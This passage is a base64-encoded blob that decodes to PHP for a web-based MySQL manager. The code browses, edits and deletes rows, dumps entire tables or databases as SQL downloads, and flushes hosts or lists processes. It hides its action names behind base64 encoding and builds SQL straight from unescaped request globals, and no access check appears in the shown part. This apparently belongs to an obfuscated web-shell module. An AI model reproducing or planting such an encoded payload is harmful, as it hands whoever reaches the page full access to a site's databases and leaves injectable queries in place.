R0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkg ewoJCWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVybjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkg ewoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNob1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJ fQoKCWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJ JGNvbCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsK CQllY2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0dXJuOwoJfQoKCWlmKCAkcm93cGVycGFnZSA9 PSAiIiApICRyb3dwZXJwYWdlID0gMzA7CglpZiggJHBhZ2UgPT0gIiIgKSAkcGFnZSA9IDA7Cgll bHNlICRwYWdlLS07CglteXNxbF9kYXRhX3NlZWsoICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJw YWdlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7Cgll Y2hvICI8dHI+XG4iOwoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkkZmllbGQg PSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7CgkJZWNobyAiPHRoPiI7CgkJaWYo JGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2Fj dGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmb3Jk ZXJieT0iLiRmaWVsZC0+bmFtZS4iJz4iLiRmaWVsZC0+bmFtZS4iPC9hPlxuIjsKCQllbHNlCgkJ CWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7CgkJZWNobyAiPC90aD5cbiI7Cgl9CgllY2hvICI8dGgg Y29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOwoJZWNobyAiPC90cj5cbiI7CgoJZm9yKCAkaSA9IDA7 ICRpIDwgJHJvd3BlcnBhZ2U7ICRpKysgKSB7CgkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93 KCAkcFJlc3VsdCApOwoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsKCQllY2hvICI8 dHI+XG4iOwoJCSRrZXkgPSAiIjsKCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgewoJ CQkkZGF0YSA9ICRyb3dBcnJheVskal07CgoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCgg JHBSZXN1bHQsICRqICk7CgkJCWlmKCAkZmllbGQtPnByaW1hcnlfa2V5ID09IDEgKQoJCQkJJGtl eSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsKCgkJCWlmKCBzdHJsZW4oICRk YXRhICkgPiAzMCApCgkJCQkkZGF0YSA9IHN1YnN0ciggJGRhdGEsIDAsIDMwICkgLiAiLi4uIjsK CQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAkZGF0YSApOwoJCQllY2hvICI8dGQ+XG4iOwoJ CQllY2hvICIkZGF0YVxuIjsKCQkJZWNobyAiPC90ZD5cbiI7CgkJfQoKCQlpZiggJGtleSA9PSAi IiApCgkJCWVjaG8gIjx0ZCBjb2xzcGFuPTI+bm8gS2V5PC90ZD5cbiI7CgkJZWxzZSB7CgkJCWVj aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRi bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsKCQkJZWNobyAiPHRk PjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZGVsZXRlRGF0YSRrZXkmZGJuYW1lPSRkYm5hbWUm dGFibGVuYW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIFJv dz8nKVwiPkRlbGV0ZTwvYT48L3RkPlxuIjsKCQl9CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hv ICI8L3RhYmxlPlxuIjsKCgllY2hvICI8Zm9udCBzaXplPTI+XG4iOwoJaWYoJGFjdGlvbiA9PSAi ZG1sbGQwUmhkR0U9IikKCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1s bGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9z dD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5 JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicg bWV0aG9kPXBvc3Q+XG4iOwoKCWVjaG8gKCRwYWdlKzEpLiIvIi4oaW50KSgkcm93LyRyb3dwZXJw YWdlKzEpLiIgcGFnZSI7CgllY2hvICI8L2ZvbnQ+XG4iOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFn ZSA+IDAgKSB7CgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJl Zj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1l PSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQ X1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1 ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYg JGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJ CWVjaG8gIic+UHJldjwvYT5cbiI7Cgl9IGVsc2UKCQllY2hvICJQcmV2IjsKCWVjaG8gIiB8ICI7 CglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFnZSktMSApIHsKCQlpZigkYWN0aW9uID09ICJk bWxsZDBSaGRHRT0iKQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJo ZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIp OwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9 JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigk cGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9 IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJCWVjaG8gIic+TmV4dDwvYT5cbiI7Cgl9 IGVsc2UKCQllY2hvICJOZXh0IjsKCWVjaG8gIiB8ICI7CglpZiggJHJvdyA+ICRyb3dwZXJwYWdl ICkgewoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9cGFnZT5cbiI7CgkJZWNo byAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOwoJfQoJZWNobyAiPC9mb3JtPlxu IjsKCWVjaG8gIjwvZm9udD5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7Cgln bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEY7CgoJaWYo ICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxoMT5BZGQgRGF0YTwvaDE+XG4iOwoJZWxzZSBpZigg JGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGgxPkVkaXQgRGF0YTwvaDE+XG4iOwoJCSRwUmVz dWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5hbWUsICR0YWJsZW5hbWUgKTsKCQkkbnVtID0g bXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsKCgkJJGtleSA9ICIiOwoJCWZvciggJGkgPSAw OyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl c3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApCgkJCQlpZiggJGZp ZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdM T0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCQllbHNlCgkJCQkJJGtleSAuPSAkZmll bGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOwoJCX0K CQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoKCQlteXNxbF9zZWxl Y3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnko ICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiLCAkbXlz cWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOwoJfQoK CWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsK CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOwoJaWYoICRj bWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1 ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJZWNobyAi PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7 CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7 CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFt ZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPlxuIjsKCWVj aG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOwoJZWNobyAiPHRoPlR5cGU8L3Ro PlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+XG4iOwoJZWNobyAiPHRoPkRhdGE8L3RoPlxu IjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3Mo ICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwg JHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJJGZpZWxk ID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7CgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsi RmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJJGxlbiA9IG15c3FsX2Zp ZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJCWVjaG8gIjx0cj4iOwoJCWVjaG8gIjx0ZD4k ZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7CgkJ ZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9u PlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOwoJCWVj aG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8b3B0aW9uPlNPVU5ERVhcbiI7CgkJZWNobyAi PG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxuIjsKCQllY2hvICI8 b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7CgkJ ZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAiPG9wdGlvbj5QQVNTV09SRFxuIjsKCQllY2hv ICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNobyAiPG9wdGlvbj5QRVJJT0RfRElGRlxuIjsK CQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOwoJCWVj aG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hvICI8b3B0aW9uPlJBTkRcbiI7CgkJZWNobyAi PC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hh cnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAiYWRkIiApIHsKCQkJJHR5cGUgPSBzdHJ0b2so ICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUg PT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiAp CgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5 cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBt dWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7CgkJCQkJZWNo byAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8 L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVu IDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3Ro PSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOwoJCQkJZWxzZQoJCQkJCWVjaG8gIjx0ZD48 dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwv dGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQkJJHR5 cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51 bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBl ID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJ ZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRu YW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkg KSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkKCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3Rl ZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0 cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3Rk PlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5w dXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVl PVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNlCgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBj b2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0 YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90cj4iOwoJfQoJZWNobyAiPC90YWJsZT48cD5c biI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVl PSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJCWVjaG8gIjxpbnB1 dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1i dXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8g IjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAkY21kICkgewoJZ2xv YmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9T RUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcygg JGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0 ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCWlmKCAkY21k ID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMg KCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5U TyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvciggJGkgPSAwOyAkaSA8ICRudW0tMTsgJGkrKyAp IHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsKCQkkZnVuYyA9ICRH TE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07CgkJaWYoICRmdW5jICE9ICIiICkKCQkJ JHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKSB7CgkJ CSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdOwoJCQlpZiggJGZ1bmMgIT0gIiIg KQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiLCI7CgkJ fSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07CgkJ CWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7CgkJCWVsc2UKCQkJCSRx dWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl c3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkkcXVlcnlTdHIgLj0gJEdMT0JB TFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UKCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JB TFNbJGZpZWxkLT5uYW1lXSAuICInKSI7CgoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNx bEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0K CmZ1bmN0aW9uIGRlbGV0ZURhdGEoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAk dGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkk cFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7CgkkbnVt ID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsKCgkka2V5ID0gIiI7Cglmb3IoICRpID0g MDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl c3VsdCwgJGkgKTsKCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkKCQkJaWYoICRmaWVs ZC0+bnVtZXJpYyA9PSAxICkKCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JB TFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCWVsc2UKCQkJCSRrZXkgLj0gJGZpZWxkLT5u YW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsKCX0KCSRrZXkg PSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5KS00ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAk ZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCSRxdWVyeVN0ciA9ICAiREVMRVRFIEZST00gJHRhYmxl bmFtZSBXSEVSRSAka2V5IjsKCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSAp OwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9u IGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkKewoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJu YW1lOwoKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlf aWQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgJHRhYmxlIiwkbXlzcWxIYW5kbGUp OwoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0Mp OwoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxl ZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOwoKCWVjaG8gJHRhYmxlZHVtcDsKCgkvLyBn ZXQgZGF0YQoJJHJvd3MgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNx bEhhbmRsZSk7CgkkbnVtZmllbGRzPW15c3FsX251bV9maWVsZHMoJHJvd3MpOwoJd2hpbGUgKCRy b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkKCXsKCQkkdGFibGVkdW1w ID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMoIjsKCgkJJGZpZWxkY291bnRlciA9IC0xOwoJ CSRmaXJzdGZpZWxkID0gMTsKCQkvLyBnZXQgZWFjaCBmaWVsZCdzIGRhdGEKCQl3aGlsZSAoKysk ZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykKCQl7CgkJCWlmICghJGZpcnN0ZmllbGQpCgkJCXsK CQkJCSR0YWJsZWR1bXAgLj0gJywgJzsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSRmaXJzdGZpZWxk ID0gMDsKCQkJfQoKCQkJaWYgKCFpc3NldCgkcm93WyIkZmllbGRjb3VudGVyIl0pKQoJCQl7CgkJ CQkkdGFibGVkdW1wIC49ICdOVUxMJzsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0YWJsZWR1bXAg Lj0gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyIkZmllbGRjb3VudGVyIl0pIC4gIici OwoJCQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIpO1xuIjsKCgkJZWNobyAkdGFibGVkdW1wOwoK CX0KCUBteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7Cn0KCmZ1bmN0aW9uIGR1bXAoKSB7CglnbG9i YWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOwoKCWlmKCAkYWN0 aW9uID09ICJkdW1wVGFibGUiICl7CgoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmls ZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsKCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91 bmtub3duJyk7CgkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHRhYmxlbmFtZSk7CgkJZWNobyAiXG5c blxuIjsKCQllY2hvICJcclxuXHJcblxyXG4jIyMgJHRhYmxlbmFtZSBUQUJMRSBEVU1QIENPTVBM RVRFRCAjIyMiOwoJCWV4aXQ7CgoJfWVsc2V7CgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9u OiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOwoJCWhlYWRlcignQ29udGVudC10eXBlOiB1bmtub3du L3Vua25vd24nKTsKCgkJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsK CQkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hPVyB0YWJsZXMiLCRteXNxbEhhbmRsZSk7CgkJ d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpCgkJ ewoJCQkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHJvd1swXSk7CgkJCQllY2hvICJcblxuXG4iOwoJ CQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3dbMF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMj IjsKCQkJCWVjaG8gIlxuXG5cbiI7CgkJfQoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1l IERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJZXhpdDsKCgl9Cgp9CgpmdW5jdGlvbiB1 dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRjb21tYW5kOwoJZWNobyAiPGgxPlV0aWxpdGll czwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIiIHx8IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUg KSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5cbiI7CgkJZWNobyAiU2hvd1xuIjsKCQllY2hv ICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNv bW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQ SFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9h PlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5k PXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0PC9hPlxuIjsKCQllY2hvICI8L3VsPlxuIjsK CQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSck UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsK CQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAi Rmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJZWNobyAiLSBTdWNjZXNzIjsKCQkJZWxzZQoJ 